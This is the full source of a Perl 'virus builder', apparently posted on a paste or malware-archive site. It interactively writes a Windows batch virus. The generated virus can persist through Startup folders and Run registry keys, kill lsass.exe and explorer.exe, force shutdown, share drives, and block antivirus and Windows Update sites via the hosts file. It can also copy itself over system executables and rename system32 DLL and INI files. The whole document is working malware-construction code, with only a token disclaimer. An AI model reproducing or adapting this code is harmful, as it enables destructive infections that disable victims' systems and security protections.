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Constructor.Perl.DAV.a/VirusBuilder.pl - Source Code

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Jun 7th, 2023
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  1. #!/usr/local/bin/perl
  2. # Virus Builder
  3. # by dav
  4. $vname = '';
  5. $vwriter = '';
  6. $vbsmsgtxt = '';
  7. $vtime = '';
  8.  
  9. print("*******************\n");
  10. print("DAV's Virus Builder\n");
  11. print("BAT/VIRUS\n");
  12. print("*******************\n");
  13. print("\n");
  14.  
  15. print("VirusName?\n");
  16.  chomp ($vname = <STDIN>);
  17.  print("\n");
  18. print("Author?\n");
  19.  chomp ($vwriter = <STDIN>);
  20.   print("\n");
  21.   open(FH,">virus.bat");
  22.   print FH '@echo off';
  23.   print FH "\n";
  24.   close(FH);
  25.   open(FH,">>virus.bat");
  26.   print FH "rem $vname - Virus\n";
  27.   print FH "rem by $vwriter\n";
  28.   print FH "rem ** generated with dav's virus builder v.1.0 in perl **\n";
  29.   print FH "set dav=echo\n";
  30.   print FH "set davv=copy\n";
  31.   print FH "set davvv=reg add\n";
  32.   print FH "set davvvv=del\n";
  33.   print FH "set davvvvv=net share\n";
  34.   print FH "set davvvvvv=cls\n";
  35.   print FH "set davvvvvvv=taskkill\n";
  36.   print FH "set davvvvvvvv=ren\n";
  37.   print FH "set davvvvvvvvv=call\n";
  38.   print FH "set davvvvvvvvvv=shutdown\n";
  39.   print FH "%davv% %0 %windir%\\vwin.bat > nul";
  40.   print FH "\n";
  41.   close(FH);
  42.  
  43. print("*** Startup Methods ***\n");
  44.  
  45.   print("Autostart/Startup Infect - yes/no?\n");
  46.   chomp ($vstartup = <STDIN>);
  47.   if($vstartup=~m/^(yes|ja|j|y)/i) {
  48.     open(FH,">>virus.bat");
  49.     print FH "chcp 1252 > nul";
  50.     print FH "\n";
  51.     print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\win.bat" > nul';
  52.     print FH "\n";
  53.     print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\win.bat" > nul';
  54.     print FH "\n";
  55.     close(FH); } else { print "x\n" }
  56.     print("\n");
  57.    
  58.     print("REGentry(works on all winsys) - yes/no?\n");
  59.      chomp ($regy = <STDIN>);
  60.   if($regy=~m/^(yes|ja|j|y)/i) {
  61.     open(FH,">>virus.bat");
  62.     print FH '%davvv% "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v vwin /t REG_SZ /d "%windir%\vwin.bat" /f > nul';  
  63.     print FH "\n";
  64.     print FH '%davvv% "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v vwin /t REG_SZ /d "%windir%\vwin.bat" /f > nul';  
  65.     print FH "\n";
  66.     close(FH); } else { print "x\n" }
  67.     print("\n");
  68.    
  69. print("*** Virus Main Function ***\n");
  70.  
  71.     print("Shutdown with time and comment - yes/no?\n");
  72.     chomp ($shutdown = <STDIN>);
  73.  if($shutdown=~m/^(yes|ja|j|y)/i) {
  74.     print("Seconds to restart?\n");
  75.     chomp ($vtime = <STDIN>);
  76.     print("Comment?\n");
  77.     chomp ($vcom = <STDIN>);
  78.     open(FH,">>virus.bat");
  79.     print FH "%davvvvvvvvvv% /s /f /t ";
  80.     print FH "$vtime";
  81.     print FH " ";
  82.     print FH "/c ";
  83.     print FH '"';
  84.     print FH "$vcom";
  85.     print FH '"';
  86.     print FH "\n";
  87.     close(FH); } else { print "x\n" }
  88.     print("\n");
  89.  
  90.     print("LSASS.exe and EXPLORER.exe Killer - yes/no?\n");
  91.     chomp ($lsass = <STDIN>);
  92.  if($lsass=~m/^(yes|ja|j|y)/i) {
  93.     open(FH,">>virus.bat");
  94.     print FH "%davvvvvvv% /f /im explorer.exe\n";
  95.     print FH "%davvvvvvv% /f /im lsass.exe \n";
  96.     close(FH); } else { print "x\n" }
  97.     print("\n");
  98.    
  99.     print("Net Share c:, g: ... - yes/no?\n"); 
  100.      chomp ($netshare = <STDIN>);
  101.  if($netshare=~m/^(yes|ja|j|y)/i) {
  102.     open(FH,">>virus.bat");
  103.     print FH "%davvvvv% c=c:\n";
  104.     print FH "%davvvvv% g=g:\n";
  105.     print FH "%davvvvv% f=f:\n";
  106.     print FH "%davvvvv% y=y:\n";
  107.     close(FH); } else { print "x\n" }
  108.     print("\n");
  109.    
  110.     print("kill cookies - yes/no?\n"); 
  111.      chomp ($vcookie = <STDIN>);
  112.  if($vcookie=~m/^(yes|ja|j|y)/i) {
  113.     open(FH,">>virus.bat");
  114.     print FH '%davvvvvvvv% "c:\documents and settings\%username%\cookies\*.txt" *.fUcKeDbYvIrUs > nul';
  115.     print FH "\n";
  116.     print FH '%davvvvvvvv% "C:\Dokumente und Einstellungen\%username%\cookies\*.txt" *.fUcKeDbYvIrUs > nul';
  117.     print FH "\n";
  118.     close(FH); } else { print "x\n" }
  119.     print("\n");
  120.  
  121.     print("infect hosts file - yes/no?\n");
  122.      chomp ($vhosts = <STDIN>);
  123.  if($vhosts=~m/^(yes|ja|j|y)/i) {
  124.      open(FH,">>virus.bat");
  125.      print FH "%dav% 127.0.0.1 www.google.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
  126.      print FH "%dav% 127.0.0.1 www.google.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
  127.      print FH "%dav% 127.0.0.1 www.symantec.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
  128.      print FH "%dav% 127.0.0.1 www.antivir.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
  129.      print FH "%dav% 127.0.0.1 www.f-secure.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
  130.      print FH "%dav% 127.0.0.1 www.f-secure.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
  131.      print FH "%dav% 127.0.0.1 www.kaspersky.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
  132.      print FH "%dav% 127.0.0.1 www.kaspersky.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
  133.      print FH "%dav% 127.0.0.1 www.nai.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
  134.      print FH "%dav% 127.0.0.1 windowsupdate.microsoft.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
  135.      print FH "%dav% 127.0.0.1 www.symantec.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
  136.      print FH "%dav% 127.0.0.1 www.microsoft.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
  137.      print FH "%dav% 127.0.0.1 www.microsoft.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
  138.      print FH "%dav% 127.0.0.1 www.free-av.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
  139.      print FH "%dav% 127.0.0.1 www.sophos.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
  140.      print FH "%dav% 127.0.0.1 www.sophos.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
  141.      print FH "%davvvvvv%\n";
  142.      close(FH); } else { print "x\n" }
  143.      print("\n");  
  144.    
  145.     print("Random Population - yes/no?\n");
  146.      chomp ($ranpop = <STDIN>);
  147.  if($ranpop=~m/^(yes|ja|j|y)/i) {
  148.      open(FH,">>virus.bat");
  149.      print FH "%davv% %0 %random%.bat\n";
  150.      print FH "%davv% %0 %random%.bat\n";
  151.      print FH "%davv% %0 %random%.bat\n";
  152.      print FH "%davv% %0 %random%.bat\n";
  153.      print FH "%davv% %0 c:\\%random%.bat\n";
  154.      print FH "%davv% %0 c:\\%random%.bat\n";
  155.      print FH "%davv% %0 c:\\%random%.bat\n";
  156.      print FH "%davv% %0 c:\\%random%.bat\n";
  157.      print FH "%davvvvvv%\n";
  158.      print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\%random%.bat" > nul';
  159.      print FH "\n";
  160.      print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\%random%.bat" > nul';
  161.      print FH "\n";
  162.      print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\%random%.bat" > nul';
  163.      print FH "\n";
  164.      print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\%random%.bat" > nul';
  165.      print FH "\n";
  166.      print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\%random%.bat" > nul';
  167.      print FH "\n";
  168.      print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\%random%.bat" > nul';
  169.      print FH "\n";  
  170.      print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\%random%.bat" > nul';
  171.      print FH "\n";
  172.      print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\%random%.bat" > nul';
  173.      print FH "\n";
  174.      print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
  175.      print FH "\n";
  176.      print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
  177.      print FH "\n";
  178.      print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
  179.      print FH "\n";
  180.      print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
  181.      print FH "\n";
  182.      print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
  183.      print FH "\n";
  184.      print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
  185.      print FH "\n";
  186.      print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
  187.      print FH "\n";
  188.      print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
  189.      print FH "\n";
  190.      close(FH); } else { print "x\n" }
  191.      print("\n");
  192.    
  193.      print("infect some .exe files - yes/no?\n");
  194.      chomp ($syskiller = <STDIN>);
  195.  if($syskiller=~m/^(yes|ja|j|y)/i) {
  196.      open(FH,">>virus.bat");
  197.      print FH '%davv% %0 %windir%\\system32\\taskmgr.exe > nul';
  198.      print FH "\n";
  199.      print FH '%davv% %0 %windir%\\system32\\winlogon.exe > nul';
  200.      print FH "\n";
  201.      print FH '%davv% %0 %windir%\\system32\\svchost.exe > nul';
  202.      print FH "\n";
  203.      print FH '%davv% %0 %windir%\\system32\\calc.exe > nul';
  204.      print FH "\n";
  205.      close(FH); } else { print "x\n" }
  206.      print("\n");
  207.      
  208.       print("kill .dll .ini files (** WARNING! **) - yes/no?\n");
  209.      chomp ($syskiller1 = <STDIN>);
  210.  if($syskiller1=~m/^(yes|ja|j|y)/i) {
  211.      open(FH,">>virus.bat");
  212.      print FH '%davvvvvvvv% %0 %windir%\\system32\\*.dll *.-fUcKeD > nul';
  213.      print FH "\n";
  214.      print FH '%davvvvvvvv% %0 %windir%\\system32\\*.ini *.FuCkEd- > nul';
  215.      print FH "\n";
  216.      close(FH); } else { print "x\n" }
  217.      print("\n");
  218.      
  219.      print("VBS Messagebox - yes/no?\n");  
  220.      chomp ($vbsmsg = <STDIN>);
  221.  if($vbsmsg=~m/^(yes|ja|j|y)/i) {
  222.      print("Message?\n");
  223.      chomp ($vbsmsgtxt = <STDIN>);
  224.      open(FH,">>virus.bat");
  225.      print FH '%dav% MsgBox "';
  226.      print FH "$vbsmsgtxt";
  227.      print FH '", 16, "ViRuS!!!" > msg.vbs';
  228.      print FH "\n";
  229.      print FH "%davvvvvvvvv% msg.vbs\n";
  230.      close(FH); } else { print "x\n" }
  231.      print("\n");
  232.  
  233.      open(FH,">>virus.bat");
  234.      print FH "goto ende\n";
  235.      print FH ":ende\n";
  236.      close(FH);
  237.      print("\n");
  238.      
  239.      while ($cya ne 'exit') {
  240.      print "*** VIRUS.BAT BUILT ***\n";
  241.      print "*** DON'T SPREAD YOUR VIRUS. ***\n";
  242.      print "*** I AM NOT RESPONSIBLE FOR POSSIBLE DAMAGES OR SOMETHING ELSE. ***\n";
  243.      print "*** exit to quit ***\n";
  244.      chomp ($cya = <STDIN>);
  245.      print "\n"; }
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